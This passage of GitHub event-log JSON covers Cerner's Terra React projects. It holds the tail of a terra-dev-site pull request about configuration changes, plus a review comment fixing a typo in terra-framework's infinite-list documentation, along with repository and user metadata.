navigation.config\r\n* Removed the theme imports option from site.conf\r\n* Removed extension config option from site.conf\r\n\r\nUpgrade guide: https://terra-dev-site-deployed-pr-175.herokuapp.com/getting-started/terra-dev-site/upgrade-guides/v-6-0-0\r\n\r\n### Additional Details\r\nterra-toolkit: https://github.com/cerner/terra-framework/pull/777\r\nterra-ui: https://github.com/cerner/terra-ui/pull/209\r\nterra-core: https://github.com/cerner/terra-core/pull/2546\r\nterra-clinical: https://github.com/cerner/terra-clinical/pull/540\r\n\r\n@cerner/terra\r\n<!-- If you haven't done so already, please...\r\n\r\n1. Assign yourself to the PR.\r\n2. Add the appropriate labels\r\n3. Add your name to the [CONTRIBUTORS.md] file. Adding your name to the [CONTRIBUTORS.md] file signifies agreement to all rights and reservations provided by the [License].\r\n\r\nThanks for contributing to Terra! -->\r\n\r\n[CONTRIBUTORS.md]: https://github.com/cerner/terra-dev-site/blob/master/CONTRIBUTORS.md\r\n[License]: https://github.com/cerner/terra-dev-site/blob/master/License.md\r\n","created_at":"2019-07-24T02:51:04Z","updated_at":"2019-07-26T13:47:33Z","closed_at":null,"merged_at":null,"merge_commit_sha":"8625260b70c12c096f9723e8f07ec11171e7955e","assignee":null,"assignees":[],"requested_reviewers":[{"login":"tbiethman","id":1711637,"node_id":"MDQ6VXNlcjE3MTE2Mzc=","avatar_url":"https://avatars3.githubusercontent.com/u/1711637?v=4","gravatar_id":"","url":"https://api.github.com/users/tbiethman","html_url":"https://github.com/tbiethman","followers_url":"https://api.github.com/users/tbiethman/followers","following_url":"https://api.github.com/users/tbiethman/following{/other_user}","gists_url":"https://api.github.com/users/tbiethman/gists{/gist_id}","starred_url":"https://api.github.com/users/tbiethman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tbiethman/subscriptions","organizations_url":"https://api.github.com/users/tbiethman/orgs","repos_url":"https://api.github.com/users/tbiethman/repos","events_url":"https://api.github.com/users/tbiethman/events{/privacy}","received_events_url":"https://api.github.com/users/tbiethman/received_events","type":"User","site_admin":false},{"login":"ryanthemanuel","id":4873279,"node_id":"MDQ6VXNlcjQ4NzMyNzk=","avatar_url":"https://avatars3.githubusercontent.com/u/4873279?v=4","gravatar_id":"","url":"https://api.github.com/users/ryanthemanuel","html_url":"https://github.com/ryanthemanuel","followers_url":"https://api.github.com/users/ryanthemanuel/followers","following_url":"https://api.github.com/users/ryanthemanuel/following{/other_user}","gists_url":"https://api.github.com/users/ryanthemanuel/gists{/gist_id}","starred_url":"https://api.github.com/users/ryanthemanuel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ryanthemanuel/subscriptions","organizations_url":"https://api.github.com/users/ryanthemanuel/orgs","repos_url":"https://api.github.com/users/ryanthemanuel/repos","events_url":"https://api.github.com/users/ryanthemanuel/events{/privacy}","received_events_url":"https://api.github.com/users/ryanthemanuel/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/cerner/terra-dev-site/pulls/175/commits","review_comments_url":"https://api.github.com/repos/cerner/terra-dev-site/pulls/175/comments","review_comment_url":"https://api.github.com/repos/cerner/terra-dev-site/pulls/comments{/number}","comments_url":"https://api.github.com/repos/cerner/terra-dev-site/issues/175/comments","statuses_url":"https://api.github.com/repos/cerner/terra-dev-site/statuses/3a817ff88f542c3eab30c224702886303f3022fb","head":{"label":"cerner:application-layout-updates","ref":"application-layout-updates","sha":"3a817ff88f542c3eab30c224702886303f3022fb","user":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"repo":{"id":116698188,"node_id":"MDEwOlJlcG9zaXRvcnkxMTY2OTgxODg=","name":"terra-dev-site","full_name":"cerner/terra-dev-site","private":false,"owner":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/cerner/terra-dev-site","description":" A development environment for React UI components for documentation and testing","fork":false,"url":"https://api.github.com/repos/cerner/terra-dev-site","forks_url":"https://api.github.com/repos/cerner/terra-dev-site/forks","keys_url":"https://api.github.com/repos/cerner/terra-dev-site/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cerner/terra-dev-site/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cerner/terra-dev-site/teams","hooks_url":"https://api.github.com/repos/cerner/terra-dev-site/hooks","issue_events_url":"https://api.github.com/repos/cerner/terra-dev-site/issues/events{/number}","events_url":"https://api.github.com/repos/cerner/terra-dev-site/events","assignees_url":"https://api.github.com/repos/cerner/terra-dev-site/assignees{/user}","branches_url":"https://api.github.com/repos/cerner/terra-dev-site/branches{/branch}","tags_url":"https://api.github.com/repos/cerner/terra-dev-site/tags","blobs_url":"https://api.github.com/repos/cerner/terra-dev-site/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cerner/terra-dev-site/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cerner/terra-dev-site/git/refs{/sha}","trees_url":"https://api.github.com/repos/cerner/terra-dev-site/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cerner/terra-dev-site/statuses/{sha}","languages_url":"https://api.github.com/repos/cerner/terra-dev-site/languages","stargazers_url":"https://api.github.com/repos/cerner/terra-dev-site/stargazers","contributors_url":"https://api.github.com/repos/cerner/terra-dev-site/contributors","subscribers_url":"https://api.github.com/repos/cerner/terra-dev-site/subscribers","subscription_url":"https://api.github.com/repos/cerner/terra-dev-site/subscription","commits_url":"https://api.github.com/repos/cerner/terra-dev-site/commits{/sha}","git_commits_url":"https://api.github.com/repos/cerner/terra-dev-site/git/commits{/sha}","comments_url":"https://api.github.com/repos/cerner/terra-dev-site/comments{/number}","issue_comment_url":"https://api.github.com/repos/cerner/terra-dev-site/issues/comments{/number}","contents_url":"https://api.github.com/repos/cerner/terra-dev-site/contents/{+path}","compare_url":"https://api.github.com/repos/cerner/terra-dev-site/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cerner/terra-dev-site/merges","archive_url":"https://api.github.com/repos/cerner/terra-dev-site/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cerner/terra-dev-site/downloads","issues_url":"https://api.github.com/repos/cerner/terra-dev-site/issues{/number}","pulls_url":"https://api.github.com/repos/cerner/terra-dev-site/pulls{/number}","milestones_url":"https://api.github.com/repos/cerner/terra-dev-site/milestones{/number}","notifications_url":"https://api.github.com/repos/cerner/terra-dev-site/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cerner/terra-dev-site/labels{/name}","releases_url":"https://api.github.com/repos/cerner/terra-dev-site/releases{/id}","deployments_url":"https://api.github.com/repos/cerner/terra-dev-site/deployments","created_at":"2018-01-08T16:06:04Z","updated_at":"2019-07-25T15:55:13Z","pushed_at":"2019-07-26T13:47:06Z","git_url":"git://github.com/cerner/terra-dev-site.git","ssh_url":"git@github.com:cerner/terra-dev-site.git","clone_url":"https://github.com/cerner/terra-dev-site.git","svn_url":"https://github.com/cerner/terra-dev-site","homepage":"http://engineering.cerner.com/terra-dev-site/","size":14117,"stargazers_count":8,"watchers_count":8,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":12,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":18,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":12,"open_issues":18,"watchers":8,"default_branch":"master"}},"base":{"label":"cerner:master","ref":"master","sha":"54145f5af4c244af66c878f9053a128417b2aa41","user":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"repo":{"id":116698188,"node_id":"MDEwOlJlcG9zaXRvcnkxMTY2OTgxODg=","name":"terra-dev-site","full_name":"cerner/terra-dev-site","private":false,"owner":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/cerner/terra-dev-site","description":" A development environment for React UI components for documentation and testing","fork":false,"url":"https://api.github.com/repos/cerner/terra-dev-site","forks_url":"https://api.github.com/repos/cerner/terra-dev-site/forks","keys_url":"https://api.github.com/repos/cerner/terra-dev-site/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cerner/terra-dev-site/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cerner/terra-dev-site/teams","hooks_url":"https://api.github.com/repos/cerner/terra-dev-site/hooks","issue_events_url":"https://api.github.com/repos/cerner/terra-dev-site/issues/events{/number}","events_url":"https://api.github.com/repos/cerner/terra-dev-site/events","assignees_url":"https://api.github.com/repos/cerner/terra-dev-site/assignees{/user}","branches_url":"https://api.github.com/repos/cerner/terra-dev-site/branches{/branch}","tags_url":"https://api.github.com/repos/cerner/terra-dev-site/tags","blobs_url":"https://api.github.com/repos/cerner/terra-dev-site/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cerner/terra-dev-site/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cerner/terra-dev-site/git/refs{/sha}","trees_url":"https://api.github.com/repos/cerner/terra-dev-site/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cerner/terra-dev-site/statuses/{sha}","languages_url":"https://api.github.com/repos/cerner/terra-dev-site/languages","stargazers_url":"https://api.github.com/repos/cerner/terra-dev-site/stargazers","contributors_url":"https://api.github.com/repos/cerner/terra-dev-site/contributors","subscribers_url":"https://api.github.com/repos/cerner/terra-dev-site/subscribers","subscription_url":"https://api.github.com/repos/cerner/terra-dev-site/subscription","commits_url":"https://api.github.com/repos/cerner/terra-dev-site/commits{/sha}","git_commits_url":"https://api.github.com/repos/cerner/terra-dev-site/git/commits{/sha}","comments_url":"https://api.github.com/repos/cerner/terra-dev-site/comments{/number}","issue_comment_url":"https://api.github.com/repos/cerner/terra-dev-site/issues/comments{/number}","contents_url":"https://api.github.com/repos/cerner/terra-dev-site/contents/{+path}","compare_url":"https://api.github.com/repos/cerner/terra-dev-site/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cerner/terra-dev-site/merges","archive_url":"https://api.github.com/repos/cerner/terra-dev-site/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cerner/terra-dev-site/downloads","issues_url":"https://api.github.com/repos/cerner/terra-dev-site/issues{/number}","pulls_url":"https://api.github.com/repos/cerner/terra-dev-site/pulls{/number}","milestones_url":"https://api.github.com/repos/cerner/terra-dev-site/milestones{/number}","notifications_url":"https://api.github.com/repos/cerner/terra-dev-site/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cerner/terra-dev-site/labels{/name}","releases_url":"https://api.github.com/repos/cerner/terra-dev-site/releases{/id}","deployments_url":"https://api.github.com/repos/cerner/terra-dev-site/deployments","created_at":"2018-01-08T16:06:04Z","updated_at":"2019-07-25T15:55:13Z","pushed_at":"2019-07-26T13:47:06Z","git_url":"git://github.com/cerner/terra-dev-site.git","ssh_url":"git@github.com:cerner/terra-dev-site.git","clone_url":"https://github.com/cerner/terra-dev-site.git","svn_url":"https://github.com/cerner/terra-dev-site","homepage":"http://engineering.cerner.com/terra-dev-site/","size":14117,"stargazers_count":8,"watchers_count":8,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":12,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":18,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":12,"open_issues":18,"watchers":8,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/cerner/terra-dev-site/pulls/175"},"html":{"href":"https://github.com/cerner/terra-dev-site/pull/175"},"issue":{"href":"https://api.github.com/repos/cerner/terra-dev-site/issues/175"},"comments":{"href":"https://api.github.com/repos/cerner/terra-dev-site/issues/175/comments"},"review_comments":{"href":"https://api.github.com/repos/cerner/terra-dev-site/pulls/175/comments"},"review_comment":{"href":"https://api.github.com/repos/cerner/terra-dev-site/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/cerner/terra-dev-site/pulls/175/commits"},"statuses":{"href":"https://api.github.com/repos/cerner/terra-dev-site/statuses/3a817ff88f542c3eab30c224702886303f3022fb"}},"author_association":"MEMBER"}}
|
{
"id": 116698188,
"name": "cerner/terra-dev-site",
"url": "https://api.github.com/repos/cerner/terra-dev-site"
}
|
{
"id": 14099737,
"login": "emilyrohrbough",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/14099737?",
"url": "https://api.github.com/users/emilyrohrbough"
}
|
{
"id": 1873208,
"login": "cerner",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1873208?",
"url": "https://api.github.com/orgs/cerner"
}
| 2019-07-26T13:47:33 |
10091233366
|
{"actor":{"display_login":"emilyrohrbough"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/cerner/terra-framework/pulls/comments/269625850","pull_request_review_id":219542109,"id":269625850,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2OTYyNTg1MA==","diff_hunk":"@@ -0,0 +1,56 @@\n+# Terra InfiniteList - Progressive Loading\n+\n+To limit the impact of large data sets, progressive loading of list items is available through the InfiniteList. As the InfiniteList approaches the bottom of the it's scrollHeight the `onRequestItems` callback will execute, allowing the implementation to lazy load data into the list.","path":"packages/terra-infinite-list/docs/ProgressiveLoadingList.md","position":3,"original_position":3,"commit_id":"aa61451c7ff48b6a7f205e24d933cfe5c8a806c9","original_commit_id":"24ffdd71990bb724c1e0e41e7ae768dd89f2dfd0","user":{"login":"yuderekyu","id":14063284,"node_id":"MDQ6VXNlcjE0MDYzMjg0","avatar_url":"https://avatars0.githubusercontent.com/u/14063284?v=4","gravatar_id":"","url":"https://api.github.com/users/yuderekyu","html_url":"https://github.com/yuderekyu","followers_url":"https://api.github.com/users/yuderekyu/followers","following_url":"https://api.github.com/users/yuderekyu/following{/other_user}","gists_url":"https://api.github.com/users/yuderekyu/gists{/gist_id}","starred_url":"https://api.github.com/users/yuderekyu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yuderekyu/subscriptions","organizations_url":"https://api.github.com/users/yuderekyu/orgs","repos_url":"https://api.github.com/users/yuderekyu/repos","events_url":"https://api.github.com/users/yuderekyu/events{/privacy}","received_events_url":"https://api.github.com/users/yuderekyu/received_events","type":"User","site_admin":false},"body":"of *it's","created_at":"2019-03-27T15:32:46Z","updated_at":"2019-03-27T15:36:44Z","html_url":"https://github.com/cerner/terra-framework/pull/546#discussion_r269625850","pull_request_url":"https://api.github.com/repos/cerner/terra-framework/pulls/546","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/comments/269625850"},"html":{"href":"https://github.com/cerner/terra-framework/pull/546#discussion_r269625850"},"pull_request":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/546"}}},"pull_request":{"url":"https://api.github.com/repos/cerner/terra-framework/pulls/546","id":261286928,"node_id":"MDExOlB1bGxSZXF1ZXN0MjYxMjg2OTI4","html_url":"https://github.com/cerner/terra-framework/pull/546","diff_url":"https://github.com/cerner/terra-framework/pull/546.diff","patch_url":"https://github.com/cerner/terra-framework/pull/546.patch","issue_url":"https://api.github.com/repos/cerner/terra-framework/issues/546","number":546,"state":"open","locked":false,"title":"[terra-infinite-list] Update documentation for headers and subheaders","user":{"login":"dkasper-was-taken","id":22619500,"node_id":"MDQ6VXNlcjIyNjE5NTAw","avatar_url":"https://avatars2.githubusercontent.com/u/22619500?v=4","gravatar_id":"","url":"https://api.github.com/users/dkasper-was-taken","html_url":"https://github.com/dkasper-was-taken","followers_url":"https://api.github.com/users/dkasper-was-taken/followers","following_url":"https://api.github.com/users/dkasper-was-taken/following{/other_user}","gists_url":"https://api.github.com/users/dkasper-was-taken/gists{/gist_id}","starred_url":"https://api.github.com/users/dkasper-was-taken/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dkasper-was-taken/subscriptions","organizations_url":"https://api.github.com/users/dkasper-was-taken/orgs","repos_url":"https://api.github.com/users/dkasper-was-taken/repos","events_url":"https://api.github.com/users/dkasper-was-taken/events{/privacy}","received_events_url":"https://api.github.com/users/dkasper-was-taken/received_events","type":"User","site_admin":false},"body":"### Summary\r\nAdd guides for assembling infinite list content with section headers and subsection headers.\r\n\r\nResolves #512 \r\n\r\nThanks for contributing to Terra.\r\n@cerner/terra\r\n\r\n[CONTRIBUTORS.md]: ../blob/master/CONTRIBUTORS.md\r\n[License]: ../blob/master/LICENSE\r\n","created_at":"2019-03-14T18:22:30Z","updated_at":"2019-03-27T15:36:44Z","closed_at":null,"merged_at":null,"merge_commit_sha":"4599fe6ffddd74d68179303cda3431707e3aa15c","assignee":{"login":"dkasper-was-taken","id":22619500,"node_id":"MDQ6VXNlcjIyNjE5NTAw","avatar_url":"https://avatars2.githubusercontent.com/u/22619500?v=4","gravatar_id":"","url":"https://api.github.com/users/dkasper-was-taken","html_url":"https://github.com/dkasper-was-taken","followers_url":"https://api.github.com/users/dkasper-was-taken/followers","following_url":"https://api.github.com/users/dkasper-was-taken/following{/other_user}","gists_url":"https://api.github.com/users/dkasper-was-taken/gists{/gist_id}","starred_url":"https://api.github.com/users/dkasper-was-taken/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dkasper-was-taken/subscriptions","organizations_url":"https://api.github.com/users/dkasper-was-taken/orgs","repos_url":"https://api.github.com/users/dkasper-was-taken/repos","events_url":"https://api.github.com/users/dkasper-was-taken/events{/privacy}","received_events_url":"https://api.github.com/users/dkasper-was-taken/received_events","type":"User","site_admin":false},"assignees":[{"login":"dkasper-was-taken","id":22619500,"node_id":"MDQ6VXNlcjIyNjE5NTAw","avatar_url":"https://avatars2.githubusercontent.com/u/22619500?v=4","gravatar_id":"","url":"https://api.github.com/users/dkasper-was-taken","html_url":"https://github.com/dkasper-was-taken","followers_url":"https://api.github.com/users/dkasper-was-taken/followers","following_url":"https://api.github.com/users/dkasper-was-taken/following{/other_user}","gists_url":"https://api.github.com/users/dkasper-was-taken/gists{/gist_id}","starred_url":"https://api.github.com/users/dkasper-was-taken/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dkasper-was-taken/subscriptions","organizations_url":"https://api.github.com/users/dkasper-was-taken/orgs","repos_url":"https://api.github.com/users/dkasper-was-taken/repos","events_url":"https://api.github.com/users/dkasper-was-taken/events{/privacy}","received_events_url":"https://api.github.com/users/dkasper-was-taken/received_events","type":"User","site_admin":false}],"requested_reviewers":[{"login":"mjhenkes","id":1588747,"node_id":"MDQ6VXNlcjE1ODg3NDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1588747?v=4","gravatar_id":"","url":"https://api.github.com/users/mjhenkes","html_url":"https://github.com/mjhenkes","followers_url":"https://api.github.com/users/mjhenkes/followers","following_url":"https://api.github.com/users/mjhenkes/following{/other_user}","gists_url":"https://api.github.com/users/mjhenkes/gists{/gist_id}","starred_url":"https://api.github.com/users/mjhenkes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mjhenkes/subscriptions","organizations_url":"https://api.github.com/users/mjhenkes/orgs","repos_url":"https://api.github.com/users/mjhenkes/repos","events_url":"https://api.github.com/users/mjhenkes/events{/privacy}","received_events_url":"https://api.github.com/users/mjhenkes/received_events","type":"User","site_admin":false},{"login":"tbiethman","id":1711637,"node_id":"MDQ6VXNlcjE3MTE2Mzc=","avatar_url":"https://avatars3.githubusercontent.com/u/1711637?v=4","gravatar_id":"","url":"https://api.github.com/users/tbiethman","html_url":"https://github.com/tbiethman","followers_url":"https://api.github.com/users/tbiethman/followers","following_url":"https://api.github.com/users/tbiethman/following{/other_user}","gists_url":"https://api.github.com/users/tbiethman/gists{/gist_id}","starred_url":"https://api.github.com/users/tbiethman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tbiethman/subscriptions","organizations_url":"https://api.github.com/users/tbiethman/orgs","repos_url":"https://api.github.com/users/tbiethman/repos","events_url":"https://api.github.com/users/tbiethman/events{/privacy}","received_events_url":"https://api.github.com/users/tbiethman/received_events","type":"User","site_admin":false},{"login":"JakeLaCombe","id":2552573,"node_id":"MDQ6VXNlcjI1NTI1NzM=","avatar_url":"https://avatars3.githubusercontent.com/u/2552573?v=4","gravatar_id":"","url":"https://api.github.com/users/JakeLaCombe","html_url":"https://github.com/JakeLaCombe","followers_url":"https://api.github.com/users/JakeLaCombe/followers","following_url":"https://api.github.com/users/JakeLaCombe/following{/other_user}","gists_url":"https://api.github.com/users/JakeLaCombe/gists{/gist_id}","starred_url":"https://api.github.com/users/JakeLaCombe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JakeLaCombe/subscriptions","organizations_url":"https://api.github.com/users/JakeLaCombe/orgs","repos_url":"https://api.github.com/users/JakeLaCombe/repos","events_url":"https://api.github.com/users/JakeLaCombe/events{/privacy}","received_events_url":"https://api.github.com/users/JakeLaCombe/received_events","type":"User","site_admin":false},{"login":"ryanthemanuel","id":4873279,"node_id":"MDQ6VXNlcjQ4NzMyNzk=","avatar_url":"https://avatars3.githubusercontent.com/u/4873279?v=4","gravatar_id":"","url":"https://api.github.com/users/ryanthemanuel","html_url":"https://github.com/ryanthemanuel","followers_url":"https://api.github.com/users/ryanthemanuel/followers","following_url":"https://api.github.com/users/ryanthemanuel/following{/other_user}","gists_url":"https://api.github.com/users/ryanthemanuel/gists{/gist_id}","starred_url":"https://api.github.com/users/ryanthemanuel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ryanthemanuel/subscriptions","organizations_url":"https://api.github.com/users/ryanthemanuel/orgs","repos_url":"https://api.github.com/users/ryanthemanuel/repos","events_url":"https://api.github.com/users/ryanthemanuel/events{/privacy}","received_events_url":"https://api.github.com/users/ryanthemanuel/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":903760862,"node_id":"MDU6TGFiZWw5MDM3NjA4NjI=","url":"https://api.github.com/repos/cerner/terra-framework/labels/docs","name":"docs","color":"1d76db","default":false},{"id":775753120,"node_id":"MDU6TGFiZWw3NzU3NTMxMjA=","url":"https://api.github.com/repos/cerner/terra-framework/labels/infinite-list","name":"infinite-list","color":"98f9ee","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/cerner/terra-framework/pulls/546/commits","review_comments_url":"https://api.github.com/repos/cerner/terra-framework/pulls/546/comments","review_comment_url":"https://api.github.com/repos/cerner/terra-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/cerner/terra-framework/issues/546/comments","statuses_url":"https://api.github.com/repos/cerner/terra-framework/statuses/aa61451c7ff48b6a7f205e24d933cfe5c8a806c9","head":{"label":"cerner:infinite-list-doc-enhancements","ref":"infinite-list-doc-enhancements","sha":"aa61451c7ff48b6a7f205e24d933cfe5c8a806c9","user":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"repo":{"id":107724721,"node_id":"MDEwOlJlcG9zaXRvcnkxMDc3MjQ3MjE=","name":"terra-framework","full_name":"cerner/terra-framework","private":false,"owner":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/cerner/terra-framework","description":"Terra framework houses composed and higher order react components to help developers quickly build out new applications.","fork":false,"url":"https://api.github.com/repos/cerner/terra-framework","forks_url":"https://api.github.com/repos/cerner/terra-framework/forks","keys_url":"https://api.github.com/repos/cerner/terra-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cerner/terra-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cerner/terra-framework/teams","hooks_url":"https://api.github.com/repos/cerner/terra-framework/hooks","issue_events_url":"https://api.github.com/repos/cerner/terra-framework/issues/events{/number}","events_url":"https://api.github.com/repos/cerner/terra-framework/events","assignees_url":"https://api.github.com/repos/cerner/terra-framework/assignees{/user}","branches_url":"https://api.github.com/repos/cerner/terra-framework/branches{/branch}","tags_url":"https://api.github.com/repos/cerner/terra-framework/tags","blobs_url":"https://api.github.com/repos/cerner/terra-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cerner/terra-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cerner/terra-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/cerner/terra-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cerner/terra-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/cerner/terra-framework/languages","stargazers_url":"https://api.github.com/repos/cerner/terra-framework/stargazers","contributors_url":"https://api.github.com/repos/cerner/terra-framework/contributors","subscribers_url":"https://api.github.com/repos/cerner/terra-framework/subscribers","subscription_url":"https://api.github.com/repos/cerner/terra-framework/subscription","commits_url":"https://api.github.com/repos/cerner/terra-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/cerner/terra-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/cerner/terra-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/cerner/terra-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/cerner/terra-framework/contents/{+path}","compare_url":"https://api.github.com/repos/cerner/terra-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cerner/terra-framework/merges","archive_url":"https://api.github.com/repos/cerner/terra-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cerner/terra-framework/downloads","issues_url":"https://api.github.com/repos/cerner/terra-framework/issues{/number}","pulls_url":"https://api.github.com/repos/cerner/terra-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/cerner/terra-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/cerner/terra-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos